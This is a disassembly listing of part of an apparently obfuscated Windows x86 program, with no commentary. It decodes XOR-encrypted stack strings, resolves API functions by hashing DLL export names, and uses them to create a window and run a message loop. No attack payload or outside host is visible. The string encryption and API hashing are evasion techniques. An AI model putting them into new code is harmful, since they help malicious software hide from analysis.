xor al, cl
mov byte [esp + 0x2b], 0x19
mov byte [esp + 0x1d0], al
xor ah, cl
mov al, byte [esp + 0x2b]
xor dh, cl
xor al, cl
mov byte [esp + 0x33], 1
mov byte [esp + 0x1d1], al
mov al, byte [esp + 0x33]
xor al, cl
mov byte [esp + 0x1cd], ch
mov byte [esp + 0x1d3], 0
mov ecx, esi
mov byte [esp + 0x1cb], dl
mov byte [esp + 0x1cc], ah
mov byte [esp + 0x1ce], dh
mov byte [esp + 0x1d2], al
mov byte [esp + 0x1d3], 0
call fcn.004b8a80
lea ecx, [esp + 0x1c9]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c71b4
sub ecx, edx
lea eax, [esp + 0x1c9]
push ecx
push eax
mov ecx, esi
call fcn.004b8710
lea ecx, [esp + 0x598]
call fcn.004c1c80
mov eax, dword [esp + 0x40]
lea ecx, [esp + 0x598]
xorps xmm0, xmm0
mov dword [esp + 0x394], 0
add esp, 0x18
movlpd qword [esp + 0x384], xmm0
movlpd qword [esp + 0x390], xmm0
movlpd qword [esp + 0x398], xmm0
mov dword [esp + 0x38c], eax
call fcn.004b7390
mov dword [esp + 0x3a0], eax
mov cl, 0x53
mov byte [esp + 0xc4], 0x1a
mov al, 0x4d
xor al, byte [esp + 0xc4]
mov dl, 0x7f
xor cl, byte [esp + 0xc4]
mov ch, 0x4a
mov byte [esp + 0xc5], al
mov ah, 0x2c
mov byte [esp + 0x11], dl
mov dh, 0x2a
mov al, byte [esp + 0x11]
mov byte [esp + 0xc6], cl
mov cl, byte [esp + 0xc4]
xor al, cl
mov byte [esp + 0x12], 0x43
mov byte [esp + 0xcb], al
xor ch, cl
mov al, byte [esp + 0x12]
xor dl, cl
xor ah, cl
mov byte [esp + 0xc9], ch
xor dh, cl
mov byte [esp + 0xcd], 0
xor al, cl
mov dword [esp + 0x380], 0x4c3180
lea ecx, [esp + 0x448]
mov byte [esp + 0xc7], dl
mov byte [esp + 0xc8], ah
mov byte [esp + 0xca], dh
mov byte [esp + 0xcc], al
mov byte [esp + 0xcd], 0
call fcn.004b8a80
lea ecx, [esp + 0xc5]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c72d2
sub ecx, edx
lea eax, [esp + 0xc5]
push ecx
push eax
lea ecx, [esp + 0x450]
call fcn.004b8710
mov byte [esp + 0x7c], 0xf
mov al, 0x43
xor al, byte [esp + 0x7c]
mov ah, 0x75
mov byte [esp + 0x7d], al
mov dh, ah
mov al, byte [esp + 0x7c]
mov cl, 0x38
mov dl, 0x36
mov byte [esp + 0x11], 0x40
mov ch, 0x7e
mov byte [esp + 0x84], 0
xor cl, al
mov byte [esp + 0x84], 0
xor dl, al
mov byte [esp + 0x7e], cl
xor ch, al
mov byte [esp + 0x7f], dl
xor dh, al
mov byte [esp + 0x81], ch
xor ah, al
mov byte [esp + 0x82], dh
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x7d]
xor al, byte [esp + 0x7c]
lea edx, [ecx + 1]
mov byte [esp + 0x80], ah
mov byte [esp + 0x83], al
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c7360
sub ecx, edx
lea eax, [esp + 0x7d]
push ecx
push eax
lea ecx, [esp + 0x450]
call fcn.004b7e50
mov byte [esp + 0x88], 0x73
mov al, 3
xor al, byte [esp + 0x88]
mov cl, 0x14
mov byte [esp + 0x89], al
mov dl, 0x10
mov al, byte [esp + 0x88]
mov ch, 0x3d
mov dh, 0x2b
mov byte [esp + 0x11], 0x36
xor cl, al
mov byte [esp + 0x90], 0
xor dl, al
mov byte [esp + 0x8a], cl
xor ch, al
mov byte [esp + 0x8b], dl
xor dh, al
mov byte [esp + 0x8d], ch
mov ah, 0x20
mov byte [esp + 0x8e], dh
xor ah, al
mov byte [esp + 0x90], 0
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x89]
xor al, byte [esp + 0x88]
lea edx, [ecx + 1]
mov byte [esp + 0x8c], ah
mov byte [esp + 0x8f], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c7402
sub ecx, edx
lea eax, [esp + 0x89]
push ecx
push eax
lea ecx, [esp + 0x450]
call fcn.004b7e50
lea ecx, [esp + 0x448]
call fcn.004b7630
mov edi, dword [0x4db870]
xor edx, edx
mov dword [esp + 0x14], edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x28], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0x24bcecc2
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c747d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7460
cmp edx, 0x2a4ba40e
je 0x4c7486
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7450
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x37c]
add eax, edi
push ecx
call eax
mov edx, dword [0x4db880]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x28], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x4364f8d6
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c74f2
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c74d5
cmp edx, 0xd22d03d7
je 0x4c74fe
mov edx, dword [0x4db880]
inc edi
add esi, 4
jmp 0x4c74c5
mov eax, dword [esp + 0x28]
mov edx, dword [0x4db880]
push 0xf
push 0xf
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
push 0x258
push 0x190
push 0
movzx eax, word [eax + edi*2]
push 0
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [esp + 0x20], eax
xor edi, edi
mov eax, dword [0x4db870]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x28], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x117b8d74
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c757d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7560
cmp edx, 0xa2d0c60a
je 0x4c7588
mov eax, dword [0x4db870]
inc edi
add esi, 4
jmp 0x4c7550
mov eax, dword [esp + 0x28]
mov edx, dword [0x4db870]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
mov dword [esp + 0x20], eax
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0x12c
push 0
mov dword [esp + 0x2c], eax
call esi
cdq
sub eax, edx
mov edi, eax
sar edi, 1
sub edi, 0xc8
call fcn.004c2f60
lea ecx, [esp + 0x580]
mov esi, eax
call fcn.004b7390
push 0
push 0
push 0
push 0
push 0x257
push 0x18f
push dword [esp + 0x40]
push edi
push 0x96000000
push esi
push eax
push 0x20
call dword [esp + 0x4c]
mov dword [0x4db864], eax
xor edi, edi
mov eax, dword [0x4db870]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x28], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
mov ecx, dword [esi]
mov edx, 0x43eda29e
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7654
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7637
cmp edx, 0xa5ab8579
je 0x4c765f
mov eax, dword [0x4db870]
inc edi
add esi, 4
jmp 0x4c7627
mov eax, dword [esp + 0x28]
mov edx, dword [0x4db870]
push 0
push dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
push dword [0x4db864]
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov byte [esp + 0xd0], 0x71
mov al, 0x19
xor al, byte [esp + 0xd0]
mov cl, 0x14
xor cl, byte [esp + 0xd0]
mov dl, 0x46
mov byte [esp + 0xd1], al
mov ah, 8
mov byte [esp + 0x11], dl
mov ch, 4
mov al, byte [esp + 0x11]
mov dh, 0x34
mov byte [esp + 0xd2], cl
mov cl, byte [esp + 0xd0]
xor al, cl
mov byte [esp + 0x12], ah
mov byte [esp + 0xd7], al
xor ch, cl
mov al, byte [esp + 0x12]
xor dl, cl
xor ah, cl
mov byte [esp + 0xd5], ch
xor dh, cl
mov byte [esp + 0xd9], 0
xor al, cl
mov byte [esp + 0xd3], dl
lea ecx, [esp + 0x550]
mov byte [esp + 0xd4], ah
mov byte [esp + 0xd6], dh
mov byte [esp + 0xd8], al
mov byte [esp + 0xd9], 0
call fcn.004b8a80
lea ecx, [esp + 0xd1]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c7730
sub ecx, edx
lea eax, [esp + 0xd1]
push ecx
push eax
lea ecx, [esp + 0x558]
call fcn.004b8710
mov byte [esp + 0x94], 0x79
mov al, 0x17
xor al, byte [esp + 0x94]
mov ah, 0x1e
mov byte [esp + 0x95], al
mov ch, ah
mov al, byte [esp + 0x94]
mov cl, 0x28
xor cl, al
mov byte [esp + 0x11], 0xf
xor ch, al
mov byte [esp + 0x96], cl
mov dl, 0x2b
mov byte [esp + 0x99], ch
mov dh, 0x3a
mov byte [esp + 0x9c], 0
xor dl, al
mov byte [esp + 0x9c], 0
xor ah, al
mov byte [esp + 0x97], dl
xor dh, al
mov byte [esp + 0x98], ah
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x460]
xor al, byte [esp + 0x94]
mov byte [esp + 0x9a], dh
mov byte [esp + 0x9b], al
call fcn.004b8a80
lea ecx, [esp + 0x95]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c77e1
sub ecx, edx
lea eax, [esp + 0x95]
push ecx
push eax
lea ecx, [esp + 0x468]
call fcn.004b8710
mov byte [esp + 0x130], 0x58
mov al, 0x16
xor al, byte [esp + 0x130]
mov cl, 0x36
mov byte [esp + 0x131], al
mov dl, 9
mov al, byte [esp + 0x130]
mov ah, 0x3d
xor cl, al
mov byte [esp + 0x11], 0x1b
xor dl, al
mov byte [esp + 0x132], cl
xor ah, al
mov byte [esp + 0x138], 0
mov ch, 0xb
mov byte [esp + 0x134], ah
xor ch, al
mov byte [esp + 0x133], dl
mov dh, 0x1e
mov byte [esp + 0x135], ch
xor dh, al
mov byte [esp + 0x138], 0
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x460]
xor al, byte [esp + 0x130]
mov byte [esp + 0x137], al
lea eax, [esp + 0x131]
push eax
mov byte [esp + 0x13a], dh
call fcn.004b8aa0
test al, al
je 0x4c7961
mov byte [esp + 0x13c], 0x32
mov cl, 0x79
xor cl, byte [esp + 0x13c]
mov al, 0x43
xor al, byte [esp + 0x13c]
mov ch, 0x76
mov byte [esp + 0x13d], al
mov dl, 0x78
mov byte [esp + 0x13e], cl
mov dh, 4
mov cl, byte [esp + 0x13c]
mov ah, 5
mov byte [esp + 0x11], 0x46
xor dl, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x46
mov byte [esp + 0x143], al
xor dh, cl
mov al, byte [esp + 0x12]
xor ah, cl
xor al, cl
mov byte [esp + 0x13], 0x53
mov byte [esp + 0x144], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x141], ch
lea ecx, [esp + 0x13d]
mov byte [esp + 0x146], 0
mov byte [esp + 0x13f], dl
mov byte [esp + 0x142], dh
lea edx, [ecx + 1]
mov byte [esp + 0x140], ah
mov byte [esp + 0x145], al
mov byte [esp + 0x146], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c7943
sub ecx, edx
lea eax, [esp + 0x13d]
push ecx
push eax
lea ecx, [esp + 0x468]
call fcn.004b7cc0
lea ecx, [esp + 0x460]
call fcn.004b7630
lea ecx, [esp + 0x550]
call fcn.004b7630
mov cl, 0x49
mov byte [esp + 0x32], 0
sub esp, 0x18
mov byte [esp + 0x48], cl
mov al, 0x60
mov byte [esp + 0x4a], 0
xor al, cl
mov esi, esp
mov ecx, esi
mov byte [esp + 0x49], al
call fcn.004b8a80
lea ecx, [esp + 0x49]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c79a4
sub ecx, edx
lea eax, [esp + 0x49]
push ecx
push eax
mov ecx, esi
call fcn.004b8710
lea ecx, [esp + 0x37c]
call fcn.004c1c80
add esp, 0x18
mov ecx, eax
call fcn.004b7390
mov edi, eax
mov dword [esp + 0x228], 0xb060542
mov cl, 0x42
mov dword [esp + 0x22c], 0x2b156269
mov dword [esp + 0x230], 0x352d262c
xor eax, eax
mov word [esp + 0x234], 0x6a62
mov byte [esp + 0x236], 0
nop dword [eax]
xor byte [esp + eax + 0x229], cl
inc eax
cmp eax, 0xd
jae 0x4c7a26
mov cl, byte [esp + 0x228]
jmp 0x4c7a10
lea eax, [esp + 0x3a4]
mov byte [esp + 0x236], 0
push eax
sub esp, 0x18
mov esi, esp
mov ecx, esi
call fcn.004b8a80
lea ecx, [esp + 0x245]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c7a50
sub ecx, edx
lea eax, [esp + 0x245]
push ecx
push eax
mov ecx, esi
call fcn.004b8710
lea ecx, [esp + 0x338]
call fcn.004c1c80
add esp, 0x18
mov ecx, eax
call fcn.004b7390
mov edx, eax
lea ecx, [esp + 0x350]
call fcn.004c8260
add esp, 4
lea ecx, [esp + 0x598]
mov edx, eax
push edi
call fcn.004c82c0
add esp, 4
lea ecx, [esp + 0x34c]
call fcn.004b7ab0
lea ecx, [esp + 0x31c]
call fcn.004b7ab0
lea ecx, [esp + 0x364]
call fcn.004b7ab0
mov edi, dword [0x4db870]
mov eax, dword [edi + 0x3c]
mov ecx, dword [eax + edi + 0x78]
xor eax, eax
add ecx, edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], ecx
mov esi, dword [ecx + 0x20]
add esi, edi
mov dword [esp + 0x1c], esi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x89f26c55
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7b1d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7b00
cmp edx, 0x5cd0f833
je 0x4c7b26
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7af0
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 0x1c]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x1c]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x20], edx
lea eax, [edi + eax*2]
movzx eax, word [eax + ecx]
lea eax, [edi + eax*4]
mov eax, dword [eax + edx]
add eax, edi
mov dword [esp + 0x24], eax
xor eax, eax
mov dword [esp + 0x14], eax
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x86f2679c
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7b8d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7b70
cmp edx, 0x609abbc8
je 0x4c7b96
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7b60
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x20]
lea eax, [edi + eax*2]
movzx eax, word [eax + ecx]
lea ecx, [esp + 0x598]
lea eax, [edi + eax*4]
mov esi, dword [eax + esi]
add esi, edi
call fcn.004b7390
push eax
push 0
call esi
push 0
push 0
push 0x10
push eax
call dword [esp + 0x34]
xorps xmm0, xmm0
mov dword [esp + 0x408], 0
movaps xmmword [esp + 0x3f0], xmm0
movq qword [esp + 0x400], xmm0
nop dword [eax]
mov edi, dword [0x4db870]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x24], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0xa4ee0e6d
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7c3d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7c20
cmp edx, 0x2a8fe826
je 0x4c7c46
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7c10
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x14]
push 0
push 0
mov eax, dword [edx + 0x24]
push 0
push dword [0x4db864]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x400]
add eax, edi
push ecx
call eax
xor ecx, ecx
mov dword [esp + 0x14], ecx
test eax, eax
je 0x4c7f12
mov edi, dword [0x4db870]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x24], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0xa88a197f
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7ccd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7cb0
cmp edx, 0x39f989e5
je 0x4c7cd6
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7ca0
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x14]
push 0
push 0
mov eax, dword [edx + 0x24]
push dword [0x4db864]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x3fc]
add eax, edi
push ecx
call eax
test eax, eax
jne 0x4c7e0a
mov edi, dword [0x4db86c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x24], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0xa9e5756b
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7d5d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7d40
cmp edx, 0x9c4c32cb
je 0x4c7d66
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7d30
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x14]
push dword [0x4db874]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
xor ecx, ecx
call fcn.004c87c0
mov edi, dword [0x4db87c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x24], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xe13fafd9
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7ddd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7dc0
cmp edx, 0x25e13d0a
je 0x4c7de6
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7db0
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x14]
push 1
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
add esp, 4
mov edi, dword [0x4db870]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x24], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x9b3318e8
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7e5d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7e40
cmp edx, 0x2afb022d
je 0x4c7e66
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7e30
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x3f0]
mov ecx, dword [esp + 0x14]
push eax
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4db870]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x24], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xf09a8ffe
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7edd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7ec0
cmp edx, 0x626dba58
je 0x4c7ee6
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7eb0
lea eax, [esp + 0x3f0]
push eax
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
jmp 0x4c7bf0
mov edi, dword [0x4db86c]
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x24], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0x9c53b7b
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7f5d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7f40
cmp edx, 0x90ec2163
je 0x4c7f66
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7f30
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
test eax, eax
jne 0x4c7fe4
mov edi, dword [0x4db86c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x24], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x54dd6743
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c7fd4
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c7fb7
cmp edx, 0x18121a66
je 0x4c7fdd
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c7fa7
push 1
jmp 0x4c7eee
push 0
lea ecx, [esp + 0x2e4]
call fcn.004c1be0
push 0x4d8c4c
lea eax, [esp + 0x2e4]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3